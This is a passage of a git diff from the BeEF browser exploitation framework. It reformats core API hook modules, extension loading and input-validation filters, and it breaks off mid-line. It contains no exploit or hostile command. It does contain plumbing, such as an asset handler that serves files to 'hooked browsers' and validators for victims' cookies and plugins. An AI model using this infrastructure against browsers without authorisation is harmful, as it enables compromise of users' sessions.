diff --git a/core/api.rb b/core/api.rb index ffa68adb9..431e5be79 100644 --- a/core/api.rb +++ b/core/api.rb @@ -117,7 +117,7 @@ module BeEF next unless r['method'] == method next unless is_matched_params? r, params - owners << { :owner => r['owner'], :id => r['id'] } + owners << { owner: r['owner'], id: r['id'] } end owners end @@ -192,17 +192,13 @@ module BeEF data = [] method = get_api_path(clss, mthd) mods.each do |mod| - begin - # Only used for API Development (very verbose) - # print_info "API: #{mod} fired #{method}" + # Only used for API Development (very verbose) + # print_info "API: #{mod} fired #{method}" - result = mod[:owner].method(method).call(*args) - unless result.nil? - data << { :api_id => mod[:id], :data => result } - end - rescue => e - print_error "API Fire Error: #{e.message} in #{mod}.#{method}()" - end + result = mod[:owner].method(method).call(*args) + data << { api_id: mod[:id], data: result } unless result.nil? + rescue StandardError => e + print_error "API Fire Error: #{e.message} in #{mod}.#{method}()" end data diff --git a/core/api/extension.rb b/core/api/extension.rb index 4d99f4b0b..b8b38b0f6 100644 --- a/core/api/extension.rb +++ b/core/api/extension.rb @@ -7,14 +7,11 @@ module BeEF module API module Extension - attr_reader :full_name, :short_name, :description @full_name = '' @short_name = '' @description = '' - end - end end diff --git a/core/api/extensions.rb b/core/api/extensions.rb index b2a7157c8..aa43d02f3 100644 --- a/core/api/extensions.rb +++ b/core/api/extensions.rb @@ -6,16 +6,13 @@ module BeEF module API module Extensions - # @note Defined API Paths API_PATHS = { - 'post_load' => :post_load - } + 'post_load' => :post_load + }.freeze # API hook fired after all extensions have been loaded - def post_load; - end - + def post_load; end end end end diff --git a/core/api/main/configuration.rb b/core/api/main/configuration.rb index d392c71bf..8b4f7b4b7 100644 --- a/core/api/main/configuration.rb +++ b/core/api/main/configuration.rb @@ -4,19 +4,16 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API - module Configuration - - # @note Defined API Paths - API_PATHS = { + module API + module Configuration + # @note Defined API Paths + API_PATHS = { 'module_configuration_load' => :module_configuration_load - } - - # Fires just after module configuration is loaded and merged - # @param [String] mod module key - def module_configuration_load(mod); end + }.freeze + # Fires just after module configuration is loaded and merged + # @param [String] mod module key + def module_configuration_load(mod); end + end end - -end end diff --git a/core/api/main/migration.rb b/core/api/main/migration.rb index 4820cbfb9..bd7a1418b 100644 --- a/core/api/main/migration.rb +++ b/core/api/main/migration.rb @@ -4,18 +4,15 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API - module Migration - - # @note Defined API Paths - API_PATHS = { + module API + module Migration + # @note Defined API Paths + API_PATHS = { 'migrate_commands' => :migrate_commands - } + }.freeze - # Fired just after the migration process - def migrate_commands; end - + # Fired just after the migration process + def migrate_commands; end + end end - -end end diff --git a/core/api/main/network_stack/assethandler.rb b/core/api/main/network_stack/assethandler.rb index 783786c45..c04f840ee 100644 --- a/core/api/main/network_stack/assethandler.rb +++ b/core/api/main/network_stack/assethandler.rb @@ -4,33 +4,31 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API -module NetworkStack -module Handlers -module AssetHandler + module API + module NetworkStack + module Handlers + module AssetHandler + # Binds a file to be accessible by the hooked browser + # @param [String] file file to be served + # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used + # @param [String] extension to be used in the URL + # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit) + # @return [String] URL bound to the specified file + # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336 + # @note This is a direct API call and does not have to be registered to be used + def self.bind(file, path = nil, extension = nil, count = -1) + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count) + end - # Binds a file to be accessible by the hooked browser - # @param [String] file file to be served - # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used - # @param [String] extension to be used in the URL - # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit) - # @return [String] URL bound to the specified file - # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336 - # @note This is a direct API call and does not have to be registered to be used - def self.bind(file, path=nil, extension=nil, count=-1) - return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count) + # Unbinds a file made accessible to hooked browsers + # @param [String] url the bound URL + # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336 + # @note This is a direct API call and does not have to be registered to be used + def self.unbind(url) + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url) + end + end + end end - - # Unbinds a file made accessible to hooked browsers - # @param [String] url the bound URL - # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336 - # @note This is a direct API call and does not have to be registered to be used - def self.unbind(url) - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url) - end - -end -end -end -end + end end diff --git a/core/api/main/server.rb b/core/api/main/server.rb index 78d92bff6..2289634d6 100644 --- a/core/api/main/server.rb +++ b/core/api/main/server.rb @@ -4,40 +4,37 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API -module Server - - # @note Defined API Paths - API_PATHS = { + module API + module Server + # @note Defined API Paths + API_PATHS = { 'mount_handler' => :mount_handler, 'pre_http_start' => :pre_http_start - } - - # Fires just before the HTTP Server is started - # @param [Object] http_hook_server HTTP Server object - def pre_http_start(http_hook_server); end - - # Fires just after handlers have been mounted - # @param [Object] server HTTP Server object - def mount_handler(server); end - - # Mounts a handler - # @param [String] url URL to be mounted - # @param [Class] http_handler_class the handler Class - # @param [Array] args an array of arguments - # @note This is a direct API call and does not have to be registered to be used - def self.mount(url, http_handler_class, args = nil) - BeEF::Core::Server.instance.mount(url, http_handler_class, *args) - end + }.freeze - # Unmounts a handler - # @param [String] url URL to be unmounted - # @note This is a direct API call and does not have to be registered to be used - def self.unmount(url) + # Fires just before the HTTP Server is started + # @param [Object] http_hook_server HTTP Server object + def pre_http_start(http_hook_server); end + + # Fires just after handlers have been mounted + # @param [Object] server HTTP Server object + def mount_handler(server); end + + # Mounts a handler + # @param [String] url URL to be mounted + # @param [Class] http_handler_class the handler Class + # @param [Array] args an array of arguments + # @note This is a direct API call and does not have to be registered to be used + def self.mount(url, http_handler_class, args = nil) + BeEF::Core::Server.instance.mount(url, http_handler_class, *args) + end + + # Unmounts a handler + # @param [String] url URL to be unmounted + # @note This is a direct API call and does not have to be registered to be used + def self.unmount(url) BeEF::Core::Server.instance.unmount(url) + end end - - -end -end + end end diff --git a/core/api/main/server/hook.rb b/core/api/main/server/hook.rb index df183654c..b5a2d440f 100644 --- a/core/api/main/server/hook.rb +++ b/core/api/main/server/hook.rb @@ -4,21 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module API -module Server - module Hook + module API + module Server + module Hook + # @note Defined API Paths + API_PATHS = { + 'pre_hook_send' => :pre_hook_send + }.freeze - # @note Defined API Paths - API_PATHS = { - 'pre_hook_send' => :pre_hook_send - } - - # Fires just before the hook is sent to the hooked browser - # @param [Class] handler the associated handler Class - def pre_hook_send(handler); end - + # Fires just before the hook is sent to the hooked browser + # @param [Class] handler the associated handler Class + def pre_hook_send(handler); end + end + end end - -end -end end diff --git a/core/api/module.rb b/core/api/module.rb index 3ee5e5f40..071f43113 100644 --- a/core/api/module.rb +++ b/core/api/module.rb @@ -5,22 +5,20 @@ # module BeEF module API - module Command end module Module - # @note Defined API Paths API_PATHS = { - 'pre_soft_load' => :pre_soft_load, - 'post_soft_load' => :post_soft_load, - 'pre_hard_load' => :pre_hard_load, - 'post_hard_load' => :post_hard_load, - 'get_options' => :get_options, - 'get_payload_options' => :get_payload_options, - 'override_execute' => :override_execute - } + 'pre_soft_load' => :pre_soft_load, + 'post_soft_load' => :post_soft_load, + 'pre_hard_load' => :pre_hard_load, + 'post_hard_load' => :post_hard_load, + 'get_options' => :get_options, + 'get_payload_options' => :get_payload_options, + 'override_execute' => :override_execute + }.freeze # Fired before a module soft load # @param [String] mod module key of module about to be soft loaded @@ -54,8 +52,6 @@ module BeEF # @return [Hash] a hash of options # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned. def get_payload_options; end - end - end end diff --git a/core/api/modules.rb b/core/api/modules.rb index cb7e09163..48d8acd78 100644 --- a/core/api/modules.rb +++ b/core/api/modules.rb @@ -5,18 +5,14 @@ # module BeEF module API - module Modules - # @note Defined API Paths API_PATHS = { - 'post_soft_load' => :post_soft_load - } + 'post_soft_load' => :post_soft_load + }.freeze # Fires just after all modules are soft loaded def post_soft_load; end - end - end end diff --git a/core/bootstrap.rb b/core/bootstrap.rb index ce3a372ea..7c1202f73 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -5,7 +5,6 @@ # module BeEF module Core - end end @@ -14,7 +13,6 @@ require 'core/main/router/router' require 'core/main/router/api' require 'core/main/router/error_responses' - ## @note Include http server functions for beef require 'core/main/server' require 'core/main/handlers/modules/beefjs' diff --git a/core/core.rb b/core/core.rb index 43cb55f38..afe225c39 100644 --- a/core/core.rb +++ b/core/core.rb @@ -4,9 +4,8 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core - -end + module Core + end end # @note Includes database models - the order must be consistent otherwise DataMapper goes crazy @@ -38,4 +37,3 @@ require 'core/main/geoip' # @note Include the command line parser and the banner printer require 'core/main/console/commandline' require 'core/main/console/banners' - diff --git a/core/extension.rb b/core/extension.rb index d8bed9d8f..fc18b7af9 100644 --- a/core/extension.rb +++ b/core/extension.rb @@ -5,7 +5,6 @@ # module BeEF module Extension - # Checks to see if extension is set inside the configuration # @param [String] ext the extension key # @return [Boolean] whether or not the extension exists in BeEF's configuration @@ -15,9 +14,10 @@ module BeEF # Checks to see if extension is enabled in configuration # @param [String] ext the extension key - # @return [Boolean] whether or not the extension is enabled + # @return [Boolean] whether or not the extension is enabled def self.is_enabled(ext) return false unless is_present(ext) + BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true end @@ -26,10 +26,11 @@ module BeEF # @return [Boolean] whether or not the extension is loaded def self.is_loaded(ext) return false unless is_enabled(ext) + BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true end - # Loads an extension + # Loads an extension # @param [String] ext the extension key # @return [Boolean] whether or not the extension loaded successfully def self.load(ext) @@ -41,7 +42,7 @@ module BeEF end print_error "Unable to load extension '#{ext}'" false - rescue => e + rescue StandardError => e print_error "Unable to load extension '#{ext}':" print_more e.message end diff --git a/core/extensions.rb b/core/extensions.rb index 62960897f..8b22ecbb6 100644 --- a/core/extensions.rb +++ b/core/extensions.rb @@ -5,12 +5,11 @@ # module BeEF module Extensions - # Returns configuration of all enabled extensions # @return [Array] an array of extension configuration hashes that are enabled def self.get_enabled - BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true } - rescue => e + BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true } + rescue StandardError => e print_error "Failed to get enabled extensions: #{e.message}" print_error e.backtrace end @@ -18,8 +17,8 @@ module BeEF # Returns configuration of all loaded extensions # @return [Array] an array of extension configuration hashes that are loaded def self.get_loaded - BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true } - rescue => e + BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true } + rescue StandardError => e print_error "Failed to get loaded extensions: #{e.message}" print_error e.backtrace end @@ -28,12 +27,12 @@ module BeEF # @note API fire for post_load def self.load BeEF::Core::Configuration.instance.load_extensions_config - self.get_enabled.each { |k,v| + get_enabled.each do |k, _v| BeEF::Extension.load k - } + end # API post extension load BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load' - rescue => e + rescue StandardError => e print_error "Failed to load extensions: #{e.message}" print_error e.backtrace end diff --git a/core/filters.rb b/core/filters.rb index 5e654e6b9..fd699b740 100644 --- a/core/filters.rb +++ b/core/filters.rb @@ -5,7 +5,6 @@ # module BeEF module Filters - end end diff --git a/core/filters/base.rb b/core/filters/base.rb index 408d2f556..64aeea078 100644 --- a/core/filters/base.rb +++ b/core/filters/base.rb @@ -4,196 +4,211 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters + module Filters + # Check if the string is not empty and not nil + # @param [String] str String for testing + # @return [Boolean] Whether the string is not empty + def self.is_non_empty_string?(str) + return false if str.nil? + return false unless str.is_a? String + return false if str.empty? - # Check if the string is not empty and not nil - # @param [String] str String for testing - # @return [Boolean] Whether the string is not empty - def self.is_non_empty_string?(str) - return false if str.nil? - return false unless str.is_a? String - return false if str.empty? - true + true + end + + # Check if only the characters in 'chars' are in 'str' + # @param [String] chars List of characters to match + # @param [String] str String for testing + # @return [Boolean] Whether or not the only characters in str are specified in chars + def self.only?(chars, str) + regex = Regexp.new('[^' + chars + ']') + regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? + end + + # Check if one or more characters in 'chars' are in 'str' + # @param [String] chars List of characters to match + # @param [String] str String for testing + # @return [Boolean] Whether one of the characters exists in the string + def self.exists?(chars, str) + regex = Regexp.new(chars) + !regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? + end + + # Check for null char + # @param [String] str String for testing + # @return [Boolean] If the string has a null character + def self.has_null?(str) + return false unless is_non_empty_string?(str) + + exists?('\x00', str) + end + + # Check for non-printable char + # @param [String] str String for testing + # @return [Boolean] Whether or not the string has non-printable characters + def self.has_non_printable_char?(str) + return false unless is_non_empty_string?(str) + + !only?('[:print:]', str) + end + + # Check if num characters only + # @param [String] str String for testing + # @return [Boolean] If the string only contains numbers + def self.nums_only?(str) + return false unless is_non_empty_string?(str) + + only?('0-9', str) + end + + # Check if valid float + # @param [String] str String for float testing + # @return [Boolean] If the string is a valid float + def self.is_valid_float?(str) + return false unless is_non_empty_string?(str) + return false unless only?('0-9\.', str) + + !(str =~ /^\d+\.\d+$/).nil? + end + + # Check if hex characters only + # @param [String] str String for testing + # @return [Boolean] If the string only contains hex characters + def self.hexs_only?(str) + return false unless is_non_empty_string?(str) + + only?('0123456789ABCDEFabcdef', str) + end + + # Check if first character is a number + # @param [String] String for testing + # @return [Boolean] If the first character of the string is a number + def self.first_char_is_num?(str) + return false unless is_non_empty_string?(str) + + !(str =~ /^\d.*/).nil? + end + + # Check for space characters: \t\n\r\f + # @param [String] str String for testing + # @return [Boolean] If the string has a whitespace character + def self.has_whitespace_char?(str) + return false unless is_non_empty_string?(str) + + exists?('\s', str) + end + + # Check for non word characters: a-zA-Z0-9 + # @param [String] str String for testing + # @return [Boolean] If the string only has alphanums + def self.alphanums_only?(str) + return false unless is_non_empty_string?(str) + + only?('a-zA-Z0-9', str) + end + + # @overload self.is_valid_ip?(ip, version) + # Checks if the given string is a valid IP address + # @param [String] ip string to be tested + # @param [Symbol] version IP version (either :ipv4 or :ipv6) + # @return [Boolean] true if the string is a valid IP address, otherwise false + # + # @overload self.is_valid_ip?(ip) + # Checks if the given string is either a valid IPv4 or IPv6 address + # @param [String] ip string to be tested + # @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false + def self.is_valid_ip?(ip, version = :both) + return false unless is_non_empty_string?(ip) + + if case version.inspect.downcase + when /^:ipv4$/ + ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3} + (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x + when /^:ipv6$/ + ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}| + ([0-9a-f]{1,4}:){1,7}:| + ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}| + ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}| + ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}| + ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}| + ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}| + [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})| + :((:[0-9a-f]{1,4}){1,7}|:)| + fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}| + ::(ffff(:0{1,4}){0,1}:){0,1} + ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} + (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])| + ([0-9a-f]{1,4}:){1,4}: + ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} + (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix + when /^:both$/ + is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6) + end + true + else + false + end + end + + # Checks if the given string is a valid private IP address + # @param [String] ip string for testing + # @return [Boolean] true if the string is a valid private IP address, otherwise false + # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses. + def self.is_valid_private_ip?(ip) + return false unless is_valid_ip?(ip) + + ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false + end + + # Checks if the given string is a valid TCP port + # @param [String] port string for testing + # @return [Boolean] true if the string is a valid TCP port, otherwise false + def self.is_valid_port?(port) + valid = false + valid = true if port.to_i > 0 && port.to_i < 2**16 + valid + end + + # Checks if string is a valid domain name + # @param [String] domain string for testing + # @return [Boolean] If the string is a valid domain name + # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static. + def self.is_valid_domain?(domain) + return false unless is_non_empty_string?(domain) + return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i + + false + end + + # Check for valid browser details characters + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser details characters + # @note This function passes the \302\256 character which translates to the registered symbol (r) + def self.has_valid_browser_details_chars?(str) + return false unless is_non_empty_string?(str) + + !(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil? + end + + # Check for valid base details characters + # @param [String] str String for testing + # @return [Boolean] If the string has only valid base characters + # @note This is for basic filtering where possible all specific filters must be implemented + # @note This function passes the \302\256 character which translates to the registered symbol (r) + def self.has_valid_base_chars?(str) + return false unless is_non_empty_string?(str) + + (str =~ /[^\302\256[:print:]]/).nil? + end + + # Verify the yes and no is valid + # @param [String] str String for testing + # @return [Boolean] If the string is either 'yes' or 'no' + def self.is_valid_yes_no?(str) + return false if has_non_printable_char?(str) + return false if str !~ /\A(Yes|No)\z/i + + true + end end - - # Check if only the characters in 'chars' are in 'str' - # @param [String] chars List of characters to match - # @param [String] str String for testing - # @return [Boolean] Whether or not the only characters in str are specified in chars - def self.only?(chars, str) - regex = Regexp.new('[^' + chars + ']') - regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? - end - - # Check if one or more characters in 'chars' are in 'str' - # @param [String] chars List of characters to match - # @param [String] str String for testing - # @return [Boolean] Whether one of the characters exists in the string - def self.exists?(chars, str) - regex = Regexp.new(chars) - not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? - end - - # Check for null char - # @param [String] str String for testing - # @return [Boolean] If the string has a null character - def self.has_null? (str) - return false unless is_non_empty_string?(str) - exists?('\x00', str) - end - - # Check for non-printable char - # @param [String] str String for testing - # @return [Boolean] Whether or not the string has non-printable characters - def self.has_non_printable_char?(str) - return false unless is_non_empty_string?(str) - not only?('[:print:]', str) - end - - # Check if num characters only - # @param [String] str String for testing - # @return [Boolean] If the string only contains numbers - def self.nums_only?(str) - return false unless is_non_empty_string?(str) - only?('0-9', str) - end - - # Check if valid float - # @param [String] str String for float testing - # @return [Boolean] If the string is a valid float - def self.is_valid_float?(str) - return false unless is_non_empty_string?(str) - return false unless only?('0-9\.', str) - not (str =~ /^[\d]+\.[\d]+$/).nil? - end - - # Check if hex characters only - # @param [String] str String for testing - # @return [Boolean] If the string only contains hex characters - def self.hexs_only?(str) - return false unless is_non_empty_string?(str) - only?('0123456789ABCDEFabcdef', str) - end - - # Check if first character is a number - # @param [String] String for testing - # @return [Boolean] If the first character of the string is a number - def self.first_char_is_num?(str) - return false unless is_non_empty_string?(str) - not (str =~ /^\d.*/).nil? - end - - # Check for space characters: \t\n\r\f - # @param [String] str String for testing - # @return [Boolean] If the string has a whitespace character - def self.has_whitespace_char?(str) - return false unless is_non_empty_string?(str) - exists?('\s', str) - end - - # Check for non word characters: a-zA-Z0-9 - # @param [String] str String for testing - # @return [Boolean] If the string only has alphanums - def self.alphanums_only?(str) - return false unless is_non_empty_string?(str) - only?("a-zA-Z0-9", str) - end - - # @overload self.is_valid_ip?(ip, version) - # Checks if the given string is a valid IP address - # @param [String] ip string to be tested - # @param [Symbol] version IP version (either :ipv4 or :ipv6) - # @return [Boolean] true if the string is a valid IP address, otherwise false - # - # @overload self.is_valid_ip?(ip) - # Checks if the given string is either a valid IPv4 or IPv6 address - # @param [String] ip string to be tested - # @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false - def self.is_valid_ip?(ip, version = :both) - return false unless is_non_empty_string?(ip) - valid = case version.inspect.downcase - when /^:ipv4$/ - ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3} - (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x - when /^:ipv6$/ - ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}| - ([0-9a-f]{1,4}:){1,7}:| - ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}| - ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}| - ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}| - ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}| - ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}| - [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})| - :((:[0-9a-f]{1,4}){1,7}|:)| - fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}| - ::(ffff(:0{1,4}){0,1}:){0,1} - ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} - (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])| - ([0-9a-f]{1,4}:){1,4}: - ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} - (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix - when /^:both$/ - is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6) - end ? true : false - - valid - end - - # Checks if the given string is a valid private IP address - # @param [String] ip string for testing - # @return [Boolean] true if the string is a valid private IP address, otherwise false - # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses. - def self.is_valid_private_ip?(ip) - return false unless is_valid_ip?(ip) - return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false - end - - # Checks if the given string is a valid TCP port - # @param [String] port string for testing - # @return [Boolean] true if the string is a valid TCP port, otherwise false - def self.is_valid_port?(port) - valid = false - valid = true if port.to_i > 0 && port.to_i < 2**16 - valid - end - - # Checks if string is a valid domain name - # @param [String] domain string for testing - # @return [Boolean] If the string is a valid domain name - # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static. - def self.is_valid_domain?(domain) - return false unless is_non_empty_string?(domain) - return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i - false - end - - # Check for valid browser details characters - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser details characters - # @note This function passes the \302\256 character which translates to the registered symbol (r) - def self.has_valid_browser_details_chars?(str) - return false unless is_non_empty_string?(str) - not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? - end - - # Check for valid base details characters - # @param [String] str String for testing - # @return [Boolean] If the string has only valid base characters - # @note This is for basic filtering where possible all specific filters must be implemented - # @note This function passes the \302\256 character which translates to the registered symbol (r) - def self.has_valid_base_chars?(str) - return false unless is_non_empty_string?(str) - (str =~ /[^\302\256[:print:]]/).nil? - end - - # Verify the yes and no is valid - # @param [String] str String for testing - # @return [Boolean] If the string is either 'yes' or 'no' - def self.is_valid_yes_no?(str) - return false if has_non_printable_char?(str) - return false if str !~ /\A(Yes|No)\z/i - true - end - -end end diff --git a/core/filters/browser.rb b/core/filters/browser.rb index 2ecc37f2b..5b019af40 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -4,148 +4,159 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters + module Filters + # Check the browser type value - for example, 'FF' + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser name characters + def self.is_valid_browsername?(str) + return false unless is_non_empty_string?(str) + return false if str.length > 2 + return false if has_non_printable_char?(str) - # Check the browser type value - for example, 'FF' - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser name characters - def self.is_valid_browsername?(str) - return false unless is_non_empty_string?(str) - return false if str.length > 2 - return false if has_non_printable_char?(str) - true - end + true + end - # Check the Operating System name value - for example, 'Windows XP' - # @param [String] str String for testing - # @return [Boolean] If the string has valid Operating System name characters - def self.is_valid_osname?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length < 2 - true - end + # Check the Operating System name value - for example, 'Windows XP' + # @param [String] str String for testing + # @return [Boolean] If the string has valid Operating System name characters + def self.is_valid_osname?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length < 2 - # Check the Hardware name value - for example, 'iPhone' - # @param [String] str String for testing - # @return [Boolean] If the string has valid Hardware name characters - def self.is_valid_hwname?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length < 2 - true - end + true + end - # Verify the browser version string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser version characters - def self.is_valid_browserversion?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return true if str.eql? "UNKNOWN" - return true if str.eql? "ALL" - return false if not nums_only?(str) and not is_valid_float?(str) - return false if str.length > 20 - true - end + # Check the Hardware name value - for example, 'iPhone' + # @param [String] str String for testing + # @return [Boolean] If the string has valid Hardware name characters + def self.is_valid_hwname?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length < 2 - # Verify the os version string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid os version characters - def self.is_valid_osversion?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return true if str.eql? "UNKNOWN" - return true if str.eql? "ALL" - return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str) - return false if str.length > 20 - true - end + true + end - # Verify the browser/UA string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser / ua string characters - def self.is_valid_browserstring?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 300 - true - end - - # Verify the cookies are valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid cookie characters - def self.is_valid_cookies?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 2000 - true - end + # Verify the browser version string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser version characters + def self.is_valid_browserversion?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return true if str.eql? 'UNKNOWN' + return true if str.eql? 'ALL' + return false if !nums_only?(str) and !is_valid_float?(str) + return false if str.length > 20 - # Verify the system platform is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid system platform characters - def self.is_valid_system_platform?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + true + end - # Verify the date stamp is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid date stamp characters - def self.is_valid_date_stamp?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + # Verify the os version string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid os version characters + def self.is_valid_osversion?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return true if str.eql? 'UNKNOWN' + return true if str.eql? 'ALL' + return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str) + return false if str.length > 20 - # Verify the CPU type string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid CPU type characters - def self.is_valid_cpu?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + true + end - # Verify the memory string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid memory type characters - def self.is_valid_memory?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + # Verify the browser/UA string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser / ua string characters + def self.is_valid_browserstring?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 300 - # Verify the GPU type string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid GPU type characters - def self.is_valid_gpu?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end + true + end - # Verify the browser_plugins string is valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid browser plugin characters - # @note This string can be empty if there are no browser plugins - # @todo Verify if the ruby version statement is still necessary - def self.is_valid_browser_plugins?(str) - return false unless is_non_empty_string?(str) - return false if str.length > 1000 - if str.encoding === Encoding.find('UTF-8') - return (str =~ 